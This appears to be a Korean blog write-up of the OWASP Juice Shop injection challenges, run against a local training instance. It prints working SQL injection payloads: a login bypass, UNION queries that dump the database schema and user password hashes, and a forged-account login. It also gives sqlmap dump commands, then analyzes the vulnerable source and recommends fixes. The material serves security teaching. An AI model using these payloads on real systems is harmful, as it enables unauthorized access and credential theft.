[KOR] OWASP JuiceShop 으로 알아보는 OWASP Top 10 - 1. Injection

A1 - Injection

인젝션(삽입) 은 데이터 입력이 가능한 장소를 찾아 데이터 입력시 악의적인 데이터를 삽입해 타겟의 인터프리터로 전송하는 공격 방법이다. 사용자의 입력값이 검증되지 않거나, Object-Relational Mapping 이 사용되지 않거나, 사용자 입력값을 필터링/이스케이핑 하지 않을 때 취약점이 일어난다. 가장 유명한 인젝션으로는 SQL 인젝션이 있지만, 그 외에도 OS 커맨드 인젝션, LDAP 인젝션 등도 존재한다.

사실 2010년대 초반 웹 개발의 프레임워크 및 라이브러리 함수들이 기본적으로 안전해지면서 (Secure by Default) 인젝션 관련된 취약점들은 찾기 매우 힘들어졌다. 아주 옛날 취약점이라고 해서 무시하는 경향도 있다. 하지만 언제나 실수와 버그는 존재하기 마련이고, 새로운 기술들이 발견되며 새로운 인젝션 장소들이 발견되는 경우도 있다. 또한 인젝션 자체는 가장 기본적인 공격 방법이기 때문에 주스샵을 통해 실습을 해본다.

인젝션은 OWASP Top 10 2021년도 개정판에는 인젝션의 등수가 많이 내려 가겠지만, 어쨌든 2017~2020년도 버전은 여전히 1위로 자리잡고 있다.

A1 - 1 - Login Admin

문제: Log in with the administrator’s user account

의역: 관리자 유저로 로그인하라

정보 수집

인젝션에 관련된 문제에 로그인을 하라고 하면 자연히 SQL 인젝션이 떠오르기 마련이다. 하지만 무작정 SQL 인젝션을 실행하기 전 어플리케이션을 둘러보며 관리자의 아이디를 한 번 찾아보자.

다음과 같이 admin@juice-sh.op 이메일 주소를 찾을 수 있다. 이메일 주소로부터 도메인 - juice-sh.op 또한 알아낼 수 있었다. 다른 유저로 로그인을 하는 챌린지가 있다면 기억해놨다가 뒤에 이 도메인을 붙이면 된다. 이제 관리자의 아이디를 알았으니 SQL 인젝션을 실행해본다.

버프스위트를 실행해 요청/응답을 가로챈 뒤 SQL 인젝션을 위해 이메일과 비밀번호 모두에 ' 를 넣어 SQL 인젝션을 실행해보자.

0-환경구축에서 알아봤던 것 처럼 SPA 이기 때문에 REST API 를 통해 서버와 통신하고 있는 것을 볼 수 있었다. /rest/user/login 엔드포인트로 로그인 관련 POST 요청을 보내는 것을 확인할 수 있다. 관련된 응답으로는 SQLITE_ERROR가 반환되었고, 에러 메시지를 바탕으로 서버는 SQLITE 를 백엔드 데이터베이스로 운영하고 있다는 것을 알 수 있다. 에러 메시지에는 실제로 사용된 sql 쿼리문도 포함되어 있는데 살펴보면 다음과 같다.  

SELECT * FROM Users WHERE email = 'admin@juice-sh.op'' AND password = '27d5d8edb956d37b61816069fc12a3ba' AND deletedAt IS NULL

SELECT * FROM Users WHERE email = '<유저 입력값>' AND password = 'md5Hash(<유저입력값>)' AND deletedAt IS NULL

볼드체로 친 것이 유저 입력값이다. 이메일 란을 보면 앞에서 보냈던 admin@juice-sh.op’ 이 삽입된 것을 볼 수 있고, 따옴표가 하나 더 많아져 SQLITE unrecognized token 에러를 반환한 것이다.

SQL 인젝션으로 들어가기 전 하나 더 보너스가 있는데, 그것은 바로 비밀번호의 해시값이다. 해시값이 hex string으로 32 글자, 16바이트, 128비트인 것으로 보아 MD5 일 확률이 있고, 이것을 실제로 hash-identifier 에 넣어보면 MD5인 것을 볼 수 있다.

실제 모의침투테스트 보고서였다면 SQL 인젝션 외에도 약한 해시 알고리즘 (MD5)도 같이 보고해야할 것이다.

공격 실행

SQL 인젝션으로 돌아오면, 위의 요청을 바탕으로 SQL 인젝션의 페이로드가 유저 이메일 인 것을 알았다. 다음의 페이로드를 삽입하면 로그인을 우회할 수 있게 된다.

admin@juice-sh.op' or 1=1 -- -

SELECT * FROM Users WHERE email = 'admin@juice-sh.op' or 1=1  -- -  ' AND password = 'md5Hash(<user_password>)' AND deletedAt IS NULL

실제로 “-- -” 이후의 모은 SQL 쿼리문은 주석처리가 되기 때문에, 실제로 어플리케이션이 실행하는 SQL 쿼리문은 다음과 같이 된다.

SELECT * FROM Users WHERE email = 'admin@juice-sh.op' or 1=1

뒤의 or 1=1 덕분에 항상 WHERE 문은 True 를 반환하게 될 것이고, 비밀번호나 이메일이 틀리더라도 유저를 바로 로그인 시켜주게 된다.

관리자로 로그인 한 것을 볼 수 있다. 이제 소스코드 분석으로 넘어가 위와 같은 취약점이 왜 발견되었는지 살펴보자.

소스코드 분석

0-환경구축에서 git clone 으로 다운받은 디렉토리에서 다음의 위치로 가 소스코드 27~29번째 줄을 살펴본다.

juice-shop/routes/login.js

소스코드를 보면 SELECT * FROM Users WHERE email = ‘${req.body.email || ‘‘}’  …. 로 SQL 쿼리문을 작성을 한 것을 볼 수 있다. 바로 이 SQL 쿼리문에서 인젝션이 발생하는 것이다.

models.sequelize.query (SELECT * FROM Users WHERE email = ‘admin@juice-sh.op’’ or 1=1 -- -, { model: models.Users, plain: true}) 

이렇게 인젝션이 된 후, 그 뒤 사용자 인증이 일어나며 관리자 아이디로 로그인이 되었던 것이다.

Object-Relational Mapping API/Library 를 사용하지 않고 직접적인 SQL 쿼리문을 사용했고, 사용자 입력 검증을 거치지도 않았기 때문에 위와 같은 취약점이 발견된 것을 볼 수 있다.

A1 - 2 Login Jim

A1 - 1 Login Admin 과 똑같은 챌린지라서 생략한다.

A1 - 3 Login Bender

A1 - 1 Login Admin 과 똑같은 챌린지라서 생략한다.

A1 - 4 - Christmas Special

문제 : Order the Christmas special offer of 2014.

의역 : 2014년도 크리스마스 스페셜 물품들을 구입하라

정보 수집

첫페이지에서 크리스마스 관련된 물품들을 찾아보려고 하면 아무 것도 나오지 않는다.

이는 앞서 살펴본 대로 어플리케이션 자체가 SPA 이기 때문이다. 주스샵을 처음 방문 하면 총 36개의 물품들이 나오는데, 검색 기능은 딱 이 36개의 물품들만 자바스크립트를 이용해 검색을 하기 때문에 과거의 크리스마스 관련된 물품이 나오지 않는다. 직접 데이터베이스와 소통을 해야 오래전의 물품들까지 검색할 수 있을 것이다. SPA 이기 때문에 데이터베이스와 직접 소통하려면 REST API 엔드포인트를 먼저 찾아야한다.

의외로 검색 관련 엔드포인트는 찾기 쉽다 - 맨 처음 주스샵을 방문 할때 http://localhost:3000 에서 버프스위트를 켠 채 요청/응답을 보다 보면 찾을 수 있다. 혹은 파이어폭스/크롬에서 F12 를 누른 뒤 Network 탭을 봐도 찾을 수 있다.

공격 실행 - 수동

엔드 포인트를 찾았으니 SQL 페이로드를 몇개 넣어 인젝션이 가능한지 알아본다. 따옴표 하나와 주석처리 -- 를 넣어 확인한다.

페이로드: '-- -

이번에도 SQLITE_ERROR 가 반환된다. 다만 이번에는 직접적인 SQL 쿼리문이 나오지 않고, 에러 메시지또한 unrecognized token 이 아닌 incomplete input 에러가 나왔다. 쿼리가 닫히지 않고 인젝션이 일어난 걸 수도 있으니 쿼리문을 닫아주는 소괄호 몇개를 넣어 인젝션을 실행한다.

페이로드: ')) -- -

사실상 아무것도 검색한 것이 없는데 데이터베이스 테이블 안의 모든 데이터가 반환된 것을 볼 수 있다. 스크롤을 내리다보면 물품 아이디 10번째에 2014년도 크리스마스 슈퍼 서프라이즈 박스 물품을 찾을 수 있다.

공격 실행 - 자동

위에서는 수동으로 페이로드를 삽입해 SQL 인젝션을 실행 시켰지만, 이것을 자동화 해주는 툴도 있다. 이번에는 sqlmap 이라는 SQL 인젝션 자동화 툴을 사용해 위와 똑같은 인젝션을 실행시킨다. 정보 수집 때 백엔드가 SQLITE 라는 것을 알았으니 특정시켜준다.

sqlmap -u "http://localhost:3000/rest/products/search?q=" --dbms=sqlite --level 5

페이로드를 찾았으니 이 다음부터는 테이블 및 column, 그리고 데이터 덤프를 실행할 수 있게 된다.

sqlmap -u "http://localhost:3000/rest/products/search?q=" --dbms=sqlite --level 5 --tables 


sqlmap -u "http://localhost:3000/rest/products/search?q=" --dbms=sqlite --level 5 -T Products  --columns 



sqlmap -u "http://localhost:3000/rest/products/search?q=" --dbms=sqlite --level 5 -T Products -C id,name,description --dump

ID, 이름, 그리고 설명을 바탕으로 덤프를 해보면 여기서도 크리스마스 전용 물품이 아이디가 10이라는 것을 알 수 있다.

다시 돌아와 이제 물품을 구입을 해야한다. 일단 아무 물품이나 누르고 구입을 한 뒤 버프스위트를 켜 요청/응답을 보자. 그러면 /api/BasketItems 엔드 포인트를 이용해 사용자의 바구니에 물품을 담는 것을 확인할 수 있다.

POST 파라미터 중 하나가 ProductId 이기 때문에, 앞서 살펴본 크리스마스 물품의 아이디인 10을 넣어 요청을 보내주면된다.

성공적으로 어플리케이션에서는 보이지 않는 크리스마스 물품을 바구니에 담았다. 6년 전으로 돌아간 느낌으로 물품 구입을 마치면, 챌린지가 끝나게 된다.

소스코드 분석

소스코드 분석을 위해 일단 REST API 전체를 검색해보자.

cd <juice-shop git 디렉토리>
grep -ri "/rest/products/search" .
ls -alh ./routes/search.js 

다음과 같이 검색을 담당하는 REST API 가 나오게 된다. 소스코드 분석을 진행한다.

바로 검색을 담당하는 searchProducts() 함수와 직접적인 SQL 쿼리문을 찾을 수 있다. 이번에도 위와 같이 ORM 을 사용하지 않고 직접적인 SQL 쿼리문을 사용하는 것을 볼 수 있다.

models.sequelize.query(`SELECT * FROM Products WHERE ((name LIKE '%${criteria}%' OR description LIKE '%${criteria}%') AND deletedAt IS NULL) ORDER BY name`)

models.sequelize.query(`SELECT * FROM Products WHERE ((name LIKE '%'')) -- %' OR description LIKE '%')) --%') AND deletedAt IS NULL) ORDER BY name`)

models.sequelize.query(`SELECT * FROM Products WHERE ((name LIKE '%'')) --)

실제 쿼리문과 페이로드가 들어갔을 때 쿼리문, 그리고 SQL 주석처리가 완료된 이후의 쿼리문까지 총 3개의 쿼리문을 살펴볼 수 있다.

Object-Relational Mapping API/Library 를 사용하지 않고 직접적인 SQL 쿼리문을 사용했고, 사용자 입력 검증을 거치지도 않았기 때문에 위와 같은 취약점이 발견된 것을 볼 수 있다.

A1 - 5 - Database Schema

문제: Exfiltrate the entire DB schema definition via SQL Injection.

의역: SQL 인젝션을 이용해 전체 데이터베이스의 스키마를 추출하라

데이터베이스 스미카란 데이터베이스의 구조를 가르킨다. Database Mangement System (DBMS) 마다 조금씩 다르기 때문에 SQLite 의 스키마는 어떤지 한 번 구글링 해 공식홈페이지로 가보자.

https://sqlite.org/schematab.html


위와 같이 스키마의 구조 (type, name, tbl_name, rootpage, sql) 뿐만 아니라 스키마 테이블의 이름 및 대체 이름들까지 나온다. 앞서 살펴봤던 /rest/products/search?q= 엔드포인트로 가 인젝션을 진행해본다.

이번 인젝션은 2개의 테이블 - 물품 테이블과 스키마 테이블 - 을 대상으로 진행하기 때문에 UNION 문이 필요하다. 다음과 같은 페이로드를 사용해보자.

페이로드: ')) union select * from sqlite_schema -- -

전체 URL: http://localhost:3000/rest/products/search?q=')) union select * from sqlite_schema -- -  

No such table: sqlite_schema 에러 메시지를 바탕으로 테이블 명이 잘못되었다는 것을 알 수 있다. 위에서 찾아봤던 대체 테이블 이름 중 하나를 넣어 요청을 보내보면 다른 에러 메시지가 나온다.

http://localhost:3000/rest/products/search?q=')) union select * from sqlite_master -- -  


이번에는 SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns 라는 에러메시지가 나온다. UNION 문과 SELECT 문을 두 테이블에 사용할 때는 꼭 열 (column) 의 갯수가 같아야한다. 현재 우리는 “*” 이라는 와일드카드를 넣었기 때문에 두 테이블의 열 갯수가 정확히 일치 하지 않는 이상 열의 갯수가 각각 다를 확률이 높다.

위의 크리스마스 챌린지를 진행하며 일단 물품 테이블에는 열이 총 9개인 것을 확인했다 - id, name, description, price, deluxePrice, image, createdAt, updatedAt, deletedAt


그러니까 일단 오른쪽 sqlite_master 테이블도 9개의 열을 특정시킨 뒤 UNION 쿼리문을 삽입한다.

http://localhost:3000/rest/products/search?q=asdf')) union select 'a','b','c','d','e','f','g','h','i' from sqlite_master -- -  

쿼리가 정상적으로 진행되고, ‘a’, ‘b’ 등이 반환된 것을 볼 수 있다. 현재는 sqlite_master 의 열 이름이 틀렸기 때문에 (‘a’, ‘b’, ‘c’ 등), 정확한 열 이름을 삽입해줘야한다.

위 구글링으로 찾았던 스키마 테이블의 열 이름들이다. Type, name, tbl_name, rootpage, sql 등이 확인 가능했다. 따라서 이것들을 집어넣어 인젝션을 진행한다.

http://localhost:3000/rest/products/search?q=asdf')) union select type,name,tbl_name,rootpage,sql,'f','g','h','i' from sqlite_master -- -

정상적으로 type, name, tbl_name, rootpage, sql 등이 반환된 것을 볼 수 있다. 위의 스크린샹의 경우 Address 테이블의 sql 구조등이 잘 나와있다. 이렇게 하면 챌린지 성공이다.

소스코드 분석

똑같은 REST 엔드포인트에서 발견된 취약점이기 때문에 생략한다. 자세한 설명은 A1 - 4 - Christmas Special 을 확인하면 된다.

A1 - 6 - Ephemeral Accountant

문제: Log in with the (non-existing) accountant acc0unt4nt@juice-sh.op without ever registering that user

의역: 사용자 가입을 하지 않으며 존재하지 않는 사용자인 acc0unt4nt@juice-sh.op 사용자로 로그인하라

정보 수집

앞서 데이터베이스 스키마를 통해 테이블들을 모두 추출하다 보면 유저 관련된 테이블도 나오게 된다.


그리고 JSON 을 모두 펼쳐보면 다음과 같이 유저 테이블 구조가 나온다.

CREATE TABLE `users`
(
  `id`           INTEGER PRIMARY KEY autoincrement,
  `username`     VARCHAR(255) DEFAULT '',
  `email`        VARCHAR(255) UNIQUE,
  `password`     VARCHAR(255),
  `role`         VARCHAR(255) DEFAULT 'customer',
  `deluxetoken`  VARCHAR(255) DEFAULT '',
  `lastloginip`  VARCHAR(255) DEFAULT '0.0.0.0',
  `profileimage` VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg',
  `totpsecret`   VARCHAR(255) DEFAULT '',
  `isactive`     TINYINT(1) DEFAULT 1,
  `createdat`    datetime NOT NULL,
  `updatedat`    datetime NOT NULL,
  `deletedat`    datetime
)	

공격 실행  

따라서 이 구조에 맞게 UNION Select 쿼리문을 작성해주면 된다. 이번에는 데이터베이스에 없는 데이터를 처리하는 것이기 때문에 우리가 직접 해당 유저를 만들어야한다. 이는 UNION 문과 Subquery (서브쿼리) 를 이용해 만들어낼 수 있다. 다만 필드값은 집어넣기는 복잡해질 수 있으니 비어있는 ‘’ 로 처리한다.

' UNION SELECT * FROM (SELECT 1 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', 'asdfasdf' as 'password', 'accounting' as 'role', '' as 'lastLoginIp', '' as 'deluxeToken', '' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '' as 'createdAt', '' as 'updatedAt', null as 'deletedAt')--

해당 페이로드를 로그인 엔드포인트 /rest/user/login의 email 파라미터에 인젝션을 한 뒤 로그인을 시도하면 로그인이 성공적으로 끝난다.

A1 - 7 - User Credentials

문제 : Retrieve a list of all user credentials via SQL Injection.

의역 : SQL 인젝션을 사용해 모든 유저 정보를 추출하라

공격 실행 - 수동

SQL 인젝션으로 다른 테이블의 값을 추출해낼 수 있는 엔드포인트는 /rest/product/search 로, 앞에서 이미 찾았었다. 이번에는 UNION 문을 이용해 Users 테이블에 있는 값들을 반환해보자. 앞서 Users 테이블의 구조도 스키마 테이블을 통해 찾았으니 열 이름들도 이미 알고 있는 상태다.

문제에서는 유저 이름/비밀번호 (credentials) 만 추출하라고 했으니 해당 열만 특정하여 추출한다.

http://localhost:3000/rest/products/search?q=asdf')) union select id,username,email,password,null,null,null,null,null from Users -- -

유저 정보들이 반환되는 것을 볼 수 있다. 추후 이 MD5 해시들은 hashcat 등을 이용해 해시 크래킹을 진행하면 될 것이다.

공격 실행 - 자동

이미 위에서 SQLmap 이 실행되는 엔드포인트를 찾았기 때문에 똑같이 진행한다. 다만 이번에는 버프스위트 요청을 그대로 SQLmap 에서 사용해보자. 이 경우 URL, POST 파라미터, 쿠키 등을 따로 설정하지 않아도 되서 편리하다.

일단 버프스위트에서 요청을 인터셉트 한 뒤 오른쪽 클릭 → Copy to File 을 해주자.


이후 이 요청 파일을 그대로 인용해 SQLmap 을 실행시켜주면 된다.

sqlmap -r ./product_search_request.txt --dbms sqlite --level 5 -T Users -C email,password --dump --batch

A1 - Injection 문제점 / 해결 방안

문제점은 모두 REST API의 엔드포인트들에서 나왔다.

  • /juice-shop/routes/login.js
  • /juice-shop/routes/search.js

주스샵에서 인젝션 관련된 챌린지를 풀며 찾은 문제점은 두 가지다.

  1. ORM - Object Relational Mapping API 를 사용하지 않고 SQL 쿼리문을 직접 작성해 백엔드 데이터베이스 논리를 실행하고 있다는 것.
  2. 직접 SQL 쿼리문을 사용할 때, 사용자 입력 검증을 전혀 거치지 않은 채 사용자의 HTTP 요청의 ${req.body.email} 을 그대로 받아 사용하고 있다는 것.

따라서 고객에게 추천할 해결 방안으로는 단기적으로 SQL 쿼리문에서 사용자 입력 검증을 거칠 것, 장기적으로 직접적인 SQL 쿼리문을 사용하지 않고 해당 프레임워크에 속한 ORM 라이브러리를 사용할 것 등이 있겠다.

시범용으로 취약점 보고를 한다면 아마 다음과 같이 될 것이다. 블로그 글이 너무 길어질까 일단 가장 중요한 취약점에 대해 시범 보고를 작성해본다.

Show Comments